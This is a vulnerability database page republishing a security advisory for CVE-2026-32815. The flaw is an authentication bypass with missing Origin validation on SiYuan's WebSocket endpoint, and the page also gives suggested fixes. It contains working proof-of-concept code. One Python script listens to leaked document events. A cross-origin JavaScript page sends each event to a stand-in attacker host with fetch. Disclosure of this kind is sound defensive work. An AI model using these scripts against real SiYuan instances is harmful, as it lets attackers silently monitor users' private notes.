GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-XP2M-98X8-RPJ6

Vulnerability from github – Published: 2026-03-16 18:46 – Updated: 2026-03-30 13:59
VLAI
Summary
SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure
Details

Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

Summary

SiYuan's WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.

Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.

Affected Component

  • File: kernel/server/serve.go:728-731
  • Function: serveWebSocket()HandleConnect handler
  • Endpoint: GET /ws?app=siyuan&id=auth&type=auth (unauthenticated)
  • Version: SiYuan <= 3.5.9

Root Cause

The WebSocket HandleConnect handler has a special case bypass (line 730) intended for the authorization page:

util.WebSocketServer.HandleConnect(func(s *melody.Session) {
    authOk := true
    if "" != model.Conf.AccessAuthCode {
        // ... normal session/JWT authentication checks ...
        // authOk = false if no valid session
    }

    if !authOk {
        // Bypass: allow connection for auth page keepalive
        // 用于授权页保持连接,避免非常驻内存内核自动退出
        authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
                 strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
    }

    if !authOk {
        s.CloseWithMsg([]byte("  unauthenticated"))
        return
    }

    util.AddPushChan(s)  // Session added to broadcast list
})

Three issues combine:

  1. Authentication bypass via URL parameters: Any client connecting with ?app=siyuan&id=auth&type=auth bypasses all authentication checks.

  2. Full broadcast membership: The bypassed session is added to the broadcast list via util.AddPushChan(s), receiving ALL PushModeBroadcast events — the same events sent to authenticated clients.

  3. No Origin validation: The WebSocket endpoint does not check the Origin header, allowing cross-origin connections from any website.

Proof of Concept

Tested and confirmed on SiYuan v3.5.9 (Docker) with accessAuthCode configured.

1. Direct unauthenticated connection

import asyncio, json, websockets

async def spy():
    # Connect WITHOUT any authentication cookie
    uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth"
    async with websockets.connect(uri) as ws:
        print("Connected without authentication!")
        while True:
            msg = await ws.recv()
            data = json.loads(msg)
            cmd = data.get("cmd")
            d = data.get("data", {})

            if cmd == "rename":
                print(f"[LEAKED] Document renamed: {d.get('title')}")
            elif cmd == "create":
                print(f"[LEAKED] Document created: {d.get('path')}")
            elif cmd == "renamenotebook":
                print(f"[LEAKED] Notebook renamed: {d.get('name')}")
            elif cmd == "removeDoc":
                print(f"[LEAKED] Document deleted")
            elif cmd == "transactions":
                for tx in d if isinstance(d, list) else []:
                    for op in tx.get("doOperations", []):
                        if op.get("action") == "updateAttrs":
                            new = op.get("data", {}).get("new", {})
                            print(f"[LEAKED] Doc attrs: title={new.get('title')}")

asyncio.run(spy())

2. Cross-origin attack from malicious website

<!-- Hosted on https://attacker.com/spy.html -->
<script>
// Victim has SiYuan running on localhost:6806
const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth");

ws.onopen = () => console.log("Connected to victim's SiYuan!");

ws.onmessage = (event) => {
    const data = JSON.parse(event.data);
    // Exfiltrate document operations to attacker
    fetch("https://attacker.com/collect", {
        method: "POST",
        body: JSON.stringify({
            cmd: data.cmd,
            data: data.data,
            timestamp: Date.now()
        })
    });
};
</script>

3. Confirmed leaked events

The following events are received by the unauthenticated WebSocket:

Event Leaked Data
savedoc Document root ID, operation data
transactions Document title, ID, attrs (new/old)
create Document path, notebook info (name, ID)
rename New document title, path, notebook ID
renamenotebook New notebook name, notebook ID
removeDoc Document deletion event

4. Cross-origin connection confirmed

import websockets, asyncio

async def test():
    uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth"
    extra_headers = {"Origin": "https://evil.attacker.com"}
    async with websockets.connect(uri, additional_headers=extra_headers) as ws:
        print("Cross-origin connection accepted!")  # SUCCEEDS

asyncio.run(test())

Result: Connection succeeds — no Origin validation.

Attack Scenario

  1. Victim runs SiYuan desktop (Electron, listens on localhost:6806) or Docker instance
  2. Victim has accessAuthCode configured (server is password-protected)
  3. Victim visits attacker.com in any browser
  4. Attacker's JavaScript connects to ws://localhost:6806/ws?app=siyuan&id=spy&type=auth
  5. WebSocket connection bypasses authentication
  6. Attacker silently monitors ALL document operations in real-time:
  7. Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft")
  8. Notebook names ("Personal", "Work - Confidential")
  9. File paths and document IDs
  10. Create/rename/delete operations
  11. Attacker builds a profile of the victim's note-taking activity without any visible indication

Impact

  • Severity: HIGH (CVSS ~7.5)
  • Type: CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)
  • Authentication bypass on WebSocket endpoint when accessAuthCode is configured
  • Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance
  • Real-time information disclosure of document metadata (titles, paths, operations)
  • No user interaction required beyond visiting a malicious website
  • Affects both Electron desktop and Docker/server deployments
  • Silent — no visible indication to the user

Suggested Fix

1. Remove the URL parameter authentication bypass

// Remove or restrict the auth page bypass
// Before (vulnerable):
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
         strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")

// After: Use a separate, restricted endpoint for auth page keepalive
// that does NOT receive broadcast events

2. Add Origin header validation

util.WebSocketServer.HandleConnect(func(s *melody.Session) {
    // Validate Origin header
    origin := s.Request.Header.Get("Origin")
    if origin != "" {
        allowed := false
        for _, o := range []string{"http://localhost", "http://127.0.0.1", "app://"} {
            if strings.HasPrefix(origin, o) {
                allowed = true
                break
            }
        }
        if !allowed {
            s.CloseWithMsg([]byte("origin not allowed"))
            return
        }
    }
    // ... rest of auth logic
})

3. Separate keepalive from broadcast

If the auth page needs a WebSocket for keepalive, create a separate endpoint (/ws-keepalive) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260313024916-fd6526133bb3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T18:46:34Z",
    "nvd_published_at": "2026-03-19T22:16:42Z",
    "severity": "MODERATE"
  },
  "details": "# Cross-Origin WebSocket Hijacking via Authentication Bypass \u2014 Unauthenticated Information Disclosure\n\n## Summary\n\nSiYuan\u0027s WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan\u0026id=auth\u0026type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client \u2014 including malicious websites via cross-origin WebSocket \u2014 to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.\n\nCombined with the absence of `Origin` header validation, a malicious website can silently connect to a victim\u0027s local SiYuan instance and monitor their note-taking activity.\n\n## Affected Component\n\n- **File:** `kernel/server/serve.go:728-731`\n- **Function:** `serveWebSocket()` \u2192 `HandleConnect` handler\n- **Endpoint:** `GET /ws?app=siyuan\u0026id=auth\u0026type=auth` (unauthenticated)\n- **Version:** SiYuan \u003c= 3.5.9\n\n## Root Cause\n\nThe WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page:\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    authOk := true\n    if \"\" != model.Conf.AccessAuthCode {\n        // ... normal session/JWT authentication checks ...\n        // authOk = false if no valid session\n    }\n\n    if !authOk {\n        // Bypass: allow connection for auth page keepalive\n        // \u7528\u4e8e\u6388\u6743\u9875\u4fdd\u6301\u8fde\u63a5\uff0c\u907f\u514d\u975e\u5e38\u9a7b\u5185\u5b58\u5185\u6838\u81ea\u52a8\u9000\u51fa\n        authOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") \u0026\u0026\n                 strings.Contains(s.Request.RequestURI, \"\u0026id=auth\u0026type=auth\")\n    }\n\n    if !authOk {\n        s.CloseWithMsg([]byte(\"  unauthenticated\"))\n        return\n    }\n\n    util.AddPushChan(s)  // Session added to broadcast list\n})\n```\n\nThree issues combine:\n\n1. **Authentication bypass via URL parameters:** Any client connecting with `?app=siyuan\u0026id=auth\u0026type=auth` bypasses all authentication checks.\n\n2. **Full broadcast membership:** The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events \u2014 the same events sent to authenticated clients.\n\n3. **No Origin validation:** The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website.\n\n## Proof of Concept\n\n**Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.**\n\n### 1. Direct unauthenticated connection\n\n```python\nimport asyncio, json, websockets\n\nasync def spy():\n    # Connect WITHOUT any authentication cookie\n    uri = \"ws://TARGET:6806/ws?app=siyuan\u0026id=auth\u0026type=auth\"\n    async with websockets.connect(uri) as ws:\n        print(\"Connected without authentication!\")\n        while True:\n            msg = await ws.recv()\n            data = json.loads(msg)\n            cmd = data.get(\"cmd\")\n            d = data.get(\"data\", {})\n\n            if cmd == \"rename\":\n                print(f\"[LEAKED] Document renamed: {d.get(\u0027title\u0027)}\")\n            elif cmd == \"create\":\n                print(f\"[LEAKED] Document created: {d.get(\u0027path\u0027)}\")\n            elif cmd == \"renamenotebook\":\n                print(f\"[LEAKED] Notebook renamed: {d.get(\u0027name\u0027)}\")\n            elif cmd == \"removeDoc\":\n                print(f\"[LEAKED] Document deleted\")\n            elif cmd == \"transactions\":\n                for tx in d if isinstance(d, list) else []:\n                    for op in tx.get(\"doOperations\", []):\n                        if op.get(\"action\") == \"updateAttrs\":\n                            new = op.get(\"data\", {}).get(\"new\", {})\n                            print(f\"[LEAKED] Doc attrs: title={new.get(\u0027title\u0027)}\")\n\nasyncio.run(spy())\n```\n\n### 2. Cross-origin attack from malicious website\n\n```html\n\u003c!-- Hosted on https://attacker.com/spy.html --\u003e\n\u003cscript\u003e\n// Victim has SiYuan running on localhost:6806\nconst ws = new WebSocket(\"ws://localhost:6806/ws?app=siyuan\u0026id=spy\u0026type=auth\");\n\nws.onopen = () =\u003e console.log(\"Connected to victim\u0027s SiYuan!\");\n\nws.onmessage = (event) =\u003e {\n    const data = JSON.parse(event.data);\n    // Exfiltrate document operations to attacker\n    fetch(\"https://attacker.com/collect\", {\n        method: \"POST\",\n        body: JSON.stringify({\n            cmd: data.cmd,\n            data: data.data,\n            timestamp: Date.now()\n        })\n    });\n};\n\u003c/script\u003e\n```\n\n### 3. Confirmed leaked events\n\nThe following events are received by the unauthenticated WebSocket:\n\n| Event | Leaked Data |\n|-------|-------------|\n| `savedoc` | Document root ID, operation data |\n| `transactions` | Document title, ID, attrs (new/old) |\n| `create` | Document path, notebook info (name, ID) |\n| `rename` | New document title, path, notebook ID |\n| `renamenotebook` | New notebook name, notebook ID |\n| `removeDoc` | Document deletion event |\n\n### 4. Cross-origin connection confirmed\n\n```python\nimport websockets, asyncio\n\nasync def test():\n    uri = \"ws://localhost:6806/ws?app=siyuan\u0026id=attacker\u0026type=auth\"\n    extra_headers = {\"Origin\": \"https://evil.attacker.com\"}\n    async with websockets.connect(uri, additional_headers=extra_headers) as ws:\n        print(\"Cross-origin connection accepted!\")  # SUCCEEDS\n\nasyncio.run(test())\n```\n\n**Result:** Connection succeeds \u2014 no Origin validation.\n\n## Attack Scenario\n\n1. Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance\n2. Victim has `accessAuthCode` configured (server is password-protected)\n3. Victim visits `attacker.com` in any browser\n4. Attacker\u0027s JavaScript connects to `ws://localhost:6806/ws?app=siyuan\u0026id=spy\u0026type=auth`\n5. WebSocket connection bypasses authentication\n6. Attacker silently monitors ALL document operations in real-time:\n   - Document titles (\"Q4 Financial Results\", \"Employee Reviews\", \"Patent Draft\")\n   - Notebook names (\"Personal\", \"Work - Confidential\")\n   - File paths and document IDs\n   - Create/rename/delete operations\n7. Attacker builds a profile of the victim\u0027s note-taking activity without any visible indication\n\n## Impact\n\n- **Severity:** HIGH (CVSS ~7.5)\n- **Type:** CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)\n- Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured\n- Cross-origin WebSocket hijacking \u2014 any website can connect to local SiYuan instance\n- Real-time information disclosure of document metadata (titles, paths, operations)\n- No user interaction required beyond visiting a malicious website\n- Affects both Electron desktop and Docker/server deployments\n- Silent \u2014 no visible indication to the user\n\n## Suggested Fix\n\n### 1. Remove the URL parameter authentication bypass\n\n```go\n// Remove or restrict the auth page bypass\n// Before (vulnerable):\nauthOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") \u0026\u0026\n         strings.Contains(s.Request.RequestURI, \"\u0026id=auth\u0026type=auth\")\n\n// After: Use a separate, restricted endpoint for auth page keepalive\n// that does NOT receive broadcast events\n```\n\n### 2. Add Origin header validation\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n    // Validate Origin header\n    origin := s.Request.Header.Get(\"Origin\")\n    if origin != \"\" {\n        allowed := false\n        for _, o := range []string{\"http://localhost\", \"http://127.0.0.1\", \"app://\"} {\n            if strings.HasPrefix(origin, o) {\n                allowed = true\n                break\n            }\n        }\n        if !allowed {\n            s.CloseWithMsg([]byte(\"origin not allowed\"))\n            return\n        }\n    }\n    // ... rest of auth logic\n})\n```\n\n### 3. Separate keepalive from broadcast\n\nIf the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.",
  "id": "GHSA-xp2m-98x8-rpj6",
  "modified": "2026-03-30T13:59:03Z",
  "published": "2026-03-16T18:46:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xp2m-98x8-rpj6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32815"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/1e370e37359778c0932673e825182ff555b504a3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass \u2014 Unauthenticated Information Disclosure"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…